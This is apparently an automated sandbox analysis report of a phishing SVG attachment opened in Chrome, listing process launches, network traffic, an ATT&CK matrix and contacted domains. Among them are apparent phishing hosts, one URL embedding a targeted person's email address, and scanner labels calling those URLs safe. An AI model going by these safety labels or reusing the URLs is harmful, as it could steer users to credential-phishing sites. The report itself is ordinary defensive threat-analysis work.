Source: unknown	HTTPS traffic detected: 142.250.64.106:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.81.238:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.106:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.99:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.106:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.142:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.81.238:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.78:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.78:443 -> 192.168.2.4:49913 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8044_1303205937

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8044_1303205937

Jump to behavior

Source: classification engine

Classification label: mal84.phis.evad.winSVG@30/129@167/17

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1932 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\EFTRemittance_Anina_DTVZBMTIPD_attach.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6232 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6240 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1932 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6232 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6240 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: Fbb=function(a,b,c,d,e,f){var g={KX:b},h={},k=new _.Mf((h.FVxLkf=g,h),c,void 0,d);return function(){function m(p){var q={},v=_.yc(Cbb(b),function(w,x){return w.then(function(B){return B.length!=1\|\|Dbb(B[0])?_.Tf(B.map(function(F){return _.Ebb(F)})).then(function(F){q[p.get(x)]=F}):_.Ebb(B[0]).then(function(F){q[p.get(x)]=F})})});return _.Tf(_.zc(v)).then(function(){return q})}g.pDb=e instanceof _.ef?e.then(m):m(e);return _.Tf([f,g.pDb]).then(function(){var p=a.Sja();return _.Vqa(p,k,d)})}}; source: chromecache_145.1.dr
Source:	Binary string: _.Pdb=[!0,_.nj,_.fj];_.Qdb=[0,_.zj,-1]; source: chromecache_178.1.dr
Source:	Binary string: var hcb=function(a){var b=function(d){_.TIa(d)&&(_.TIa(d).yc=null,_.wbb(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])};_.Xq=function(a){_.Pq.call(this,a.Sa);var b=this,c=a.context.KAc;this.ka=c.KX;this.Pf=this.wa=this.Ca=this.oa=null;this.Aa=a.service.Qh;this.Ia=a.service.shd;a=this.ka.wa.then(function(d){b.oa=d;d=b.ka.id.z6b(d,b.ka.getParams());b.Ca=d.variant});c=c.pDb.then(function(d){b.wa=d});this.rbb=this.rbb.bind(this);this.xt(_.Tf([a,c]),_.kn)};_.E(_.Xq,_.Pq);_.Xq.Ja=function(){return{context:{KAc:"FVxLkf"},service:{Qh:_.Kq,component:_.Rq,shd:_.gbb}}};_.l=_.Xq.prototype;_.l.Fn=function(){return""};_.l.Hv=function(){return!1}; source: chromecache_170.1.dr

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match

File source: 1.4.d.script.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://nvgy.zonqdkqezktw.es/favicon.ico	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/xyWc2HOAwFK1ytG9aGvzFMwyqfO344tkNb5yLwpvLBdAfw	0%	Avira URL Cloud	safe
https://fli5.nmpjkg.ru/kella@mxj5dlh	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
beacons3.gvt2.com	142.250.176.195	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
google.com	142.250.80.78	true	false	high
developers.cloudflare.com	104.16.4.189	true	false	high
fli5.nmpjkg.ru	104.21.16.1	true	false	unknown
plus.l.google.com	142.250.81.238	true	false	high
beacons-handoff.gcp.gvt2.com	142.251.40.99	true	false	high
beacons2.gvt2.com	209.85.202.94	true	false	high
beacons.gvt2.com	142.250.114.94	true	false	high
ogads-pa.clients6.google.com	142.250.64.106	true	false	high
nvgy.zonqdkqezktw.es	104.21.32.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
www3.l.google.com	142.251.40.142	true	false	high
play.google.com	142.250.65.206	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
beacons5.gvt2.com	216.239.32.116	true	false	high
www.google.com	142.251.40.132	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
ogs.google.com	unknown	unknown	false	high
accounts.youtube.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://apis.google.com/domainreliability/upload	false		high
https://fli5.nmpjkg.ru/kella@mxj5dlh	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://www.google.com/gen_204?atyp=i&ei=43TkZ9b3MZSw0PEPiIOGsQ0&dt19=2&prm23=0&zx=1743025381776&opi=89978449	false		high
https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png	false		high
https://www.google.com/images/hpp/ic_wahlberg_product_core_48.png8.png	false		high
https://www.google.com/async/hpba?yv=3&cs=0&ei=43TkZ9b3MZSw0PEPiIOGsQ0&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/dg%3D0/br%3D1/rs%3DACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg,_basecss:/xjs/_/ss/k%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/br%3D1/rs%3DACT90oEftwI819Ook0SChABk1NYW2PsVtw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/ck%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d%3D1/ed%3D1/dg%3D0/br%3D1/ujg%3D1/rs%3DACT90oENScASXlzMUOyOqji2BEzciEd8Wg,_fmt:prog,_id:_43TkZ9b3MZSw0PEPiIOGsQ0_8&sp_imghp=false&sp_hpep=2&sp_hpte=0&vet=10ahUKEwiW9eTE26iMAxUUGDQIHYiBIdYQj-0KCBU..i	false		high
https://www.google.com/xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/ck=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/ujg=1/rs=ACT90oENScASXlzMUOyOqji2BEzciEd8Wg/m=syrx,syrw,syrv,ms4mZb,syph,B2qlPe,syv7,NzU6V,syzs,syvm,zGLm3b,syx3,syx4,sywt,DhPYme,syyx,syyz,syxk,syxm,syyy,syxj,syz2,syz1,syyv,syyw,KHourd,MpJwZc,UUJqVe,sy8n,sOXFj,sy8m,s39S4,oGtAuc,NTMZac,nAFL3,sy8z,q0xTif,y05UD,PPhKqf,sy13e,sy18y,sy18s,syy2,sy18l,sy14b,syy4,syy3,sy18r,sy144,sy18i,sy148,sy13a,sy18m,sy149,sy14a,sy18t,sy131,sy18q,sy18p,sy18n,sylu,syn1,sy18o,sy18d,sy18h,sy18e,sy18u,sy18j,sy18f,sy18b,sy188,sy14w,sy14d,sy14e,syy9,syya,epYOx?xjs=s3	false		high
https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=43TkZ9b3MZSw0PEPiIOGsQ0&rt=wsrt.1145,hst.83,prt.552,afti.715,aft.715&imn=11&dtc=139&stc=24&ima=1&imad=0&imac=1&wh=897&opi=89978449&nt=navigate&dt=&ts=195824&ant=replace	false		high
https://www.google.com/gen_204?atyp=csi&ei=43TkZ9b3MZSw0PEPiIOGsQ0&s=promo&rt=hpbas.2667&zx=1743025381771&opi=89978449	false		high
https://www.google.com/xjs/_/ss/k=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/d=0/br=1/rs=ACT90oEftwI819Ook0SChABk1NYW2PsVtw/m=syjo,syne?xjs=s4	false		high
https://www.google.com/client_204?atyp=i&biw=1280&bih=897&ei=43TkZ9b3MZSw0PEPiIOGsQ0&opi=89978449	false		high
https://www.google.com/gen_204?atyp=i&ei=43TkZ9b3MZSw0PEPiIOGsQ0&ct=slh&v=t1&im=M&m=HV&pv=0.31841082175664837&me=1:1743025379655,V,0,0,1280,897:0,B,897:0,N,1,43TkZ9b3MZSw0PEPiIOGsQ0:0,R,1,1,0,0,1280,897:2122,x:244,h,1,1,i:6949,e,B&zx=1743025388970&opi=89978449	false		high
https://nvgy.zonqdkqezktw.es/xyWc2HOAwFK1ytG9aGvzFMwyqfO344tkNb5yLwpvLBdAfw	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=eBOWUoKzVIl%2BS9n2NuYCQTdEUAOOHls9VJ2miX7dOL%2BGgAPjJPnKFfaojH2J4O9aINVeXJs5ZLLtGvsOVaU5P%2BLfD6L5NV6G2hA3HlGQ2%2BRKdyr323k%2FIa5YU%2BJOxUmwsh8k	false		high
https://www.google.com/gen_204?atyp=i&ei=43TkZ9b3MZSw0PEPiIOGsQ0&ct=slh&v=t1&im=M&pv=0.31841082175664837&me=8:1743025388972,V,0,0,0,0:71,h,1,1,o:5140,V,0,0,1280,897:5,h,1,1,i:2,h,1,1,o:3,e,H&zx=1743025394194&opi=89978449	false		high
https://ogads-pa.clients6.google.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyncData	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://a.nel.cloudflare.com/report/v4?s=59V%2FbDeCa%2FLpqXK8LDzBuTSx7075Ssryl6BdHn2mV7wcU3WzeQ8hLKn2I9YobD7C%2FTT2qyfGi0%2BNqCO96MTaXOSbLyhSSiV%2BVUjuq2GW9POe3IrwifUagMkI9exEERj5OjG7	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=Taa6F776pu5eXSOQmgQhjTIckQNIJfMcNV9h6Uiuij8fY%2BXj71%2Beepk36Oyr%2B64t58VVYtGOtKbFvKsLLePyAbvE%2BIbHPKWo8zCcKI3xqj0hWgnT3dZvit68ajI%2Fahmpxt8r	false		high
https://nvgy.zonqdkqezktw.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.us	false		unknown
https://www.google.com/xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/ck=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/ujg=1/rs=ACT90oENScASXlzMUOyOqji2BEzciEd8Wg/m=sb_wiz,aa,abd,U9EYge,syro,syrn,syrj,syf1,syrm,syrc,syzh,sys6,syrr,syrk,syri,syrl,syrs,syrt,syrp,syre,syr7,syr2,syq8,syrf,sys5,sys3,sys4,sys2,syr0,sys1,async,syvn,ifl,pHXghd,sf,sysu,sy3oe,sonic,sy3og,sy1c5,sy18g,sy18c,syq7,syq6,syq4,syqb,syq3,sy3ny,sy3o0,syur,syqg,sypz,syec,sy9z,sy9h,sy9i,sy9g,sy9d,spch,sytr,sytq,rtH1bd,sy19g,sy15g,sy134,sy12h,syde,sydc,sya3,sya0,sy9y,sy19d,EiD4Fe,SMquOb,sy7j,sy7i,sy7h,syfi,syfg,syfr,syfo,syff,syfd,syfb,sy7w,sy7t,sy7v,syfa,syfe,sybi,sybb,sybe,syb6,syag,syb1,syas,syb0,syaz,syam,syap,syao,syan,syal,sya9,syaj,syaq,syb2,sy9u,sya4,syab,syad,syae,syat,syai,syav,syaf,sybl,sya5,sybk,sy9l,sy9o,sya1,sya8,syb3,syf8,syf7,syf4,syf3,syf2,sy7z,uxMpU,syev,sybt,sybp,sybm,syay,sybn,sybj,sy8f,sy8b,sy8a,sy89,sy88,Mlhmy,QGR0gd,PoEs9b,Pjplud,OTA3Ae,sy85,A1yn5d,YIZmRd,uY49fb,sy7q,sy7o,sy7p,sy7n,sy7m,byfTOb,lsjVmc,LEikZe,sy7k,kWgXee,ovKuLd,sgY6Zb,qafBPd,ebZ3mb,dowIGb,sy19k,sy19j,sy19h,syyi,sytw,d5EhJe,sy1a4,fCxEDd,syvt,sy1a2,sy1a1,sy1a0,sy19t,sy19r,sy19q,sy19v,sy17a,sy173,syw2,syy6,syy5,T1HOxc,sy19s,sy19o,sy19l,zx30Y,sy1a6,sy1a5,sy19w,sy166,Wo3n8,syra,loL8vb?xjs=s3	false		high
https://www.google.com/complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=43TkZ9b3MZSw0PEPiIOGsQ0.1743025380541&dpr=1&nolsbt=1	false		high
https://www.google.com/xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/rs=ACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg/m=lOO0Vd,sy86,P6sQOc?xjs=s4	false		high
https://play.google.com/log?format=json&hasfast=true&authuser=0	false		high
https://www.google.com/xjs/_/ss/k=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/d=1/ed=1/br=1/rs=ACT90oEftwI819Ook0SChABk1NYW2PsVtw/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi	false		high
https://www.google.com/gen_204?s=async&astyp=hpba&atyp=csi&ei=5HTkZ4vGNYKkiLMPru65iQY&rt=ipf.1,ipfr.422,ttfb.422,st.422,acrt.424,ipfrl.424,aaft.424,art.424,ns.-1693&ns=1743025377958&twt=1.1999999999825377&mwt=1.1999999999825377	false		high
https://www.google.com/gen_204?atyp=csi&ei=43TkZ9b3MZSw0PEPiIOGsQ0&s=webhp&t=all&imn=11&dtc=139&stc=24&ima=1&imad=0&imac=1&wh=897&adh=&cls=0.000047472695443143816&ime=1&imex=1&imeh=0&imeha=0&imehb=0&imea=0&imeb=0&imel=0&imed=0&imeeb=0&scp=0&cb=195524&ucb=195524&ts=195824&dt=&mem=ujhs.9,tjhs.12,jhsl.2248,dm.8&nv=ne.1,feid.7d6a079d-d051-4d0a-9f58-5ff1dabf6a3b&net=dl.6400,ect.4g,rtt.200,sd.0&hp=&sys=hc.4&p=bs.true&rt=hst.83,prt.552,afti.715,aft.715,xjses.1362,xjsee.1402,xjs.1402,lcp.735,fcp.555,wsrt.1145,cst.222,dnst.0,rqst.685,rspt.360,sslt.215,rqstt.820,unt.594,cstt.598,dit.1714&zx=1743025380514&opi=89978449	false		high
https://www.google.com/gen_204?atyp=i&ct=psnt&cad=&nt=navigate&ei=43TkZ9b3MZSw0PEPiIOGsQ0&zx=1743025383295&opi=89978449	false		high
https://www.google.com/xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/rs=ACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg/m=sy1b8,P10Owf,sy19x,gSZvdb,syzc,WlNQGd,syqz,syqw,syqv,DPreE,syzn,syzm,nabPbb,syz7,syz5,syjo,syne,CnSW2d,kQvlef,syzl,fXO0xe?xjs=s4	false		high
https://www.google.com/client_204?cs=1&opi=89978449	false		high
https://www.google.com/favicon.ico	false		high
https://google.com/	false		high
https://google.com/domainreliability/upload	false		high
https://play.google.com/log?hasfast=true&authuser=0&format=json	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://www.google.com/gen_204?atyp=i&ei=43TkZ9b3MZSw0PEPiIOGsQ0&vet=10ahUKEwiW9eTE26iMAxUUGDQIHYiBIdYQuqMJCCU..s&bl=5xT_&s=webhp&lpl=CAUYATADOANiCAgDEMD4-40D&zx=1743025381794&opi=89978449	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://ogs.google.com/widget/callout?prid=19046229&pgid=19046228&puid=2e6b2513ec221596&eom=1&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com&cn=callout&pid=1&spid=538&hl=en	false		high
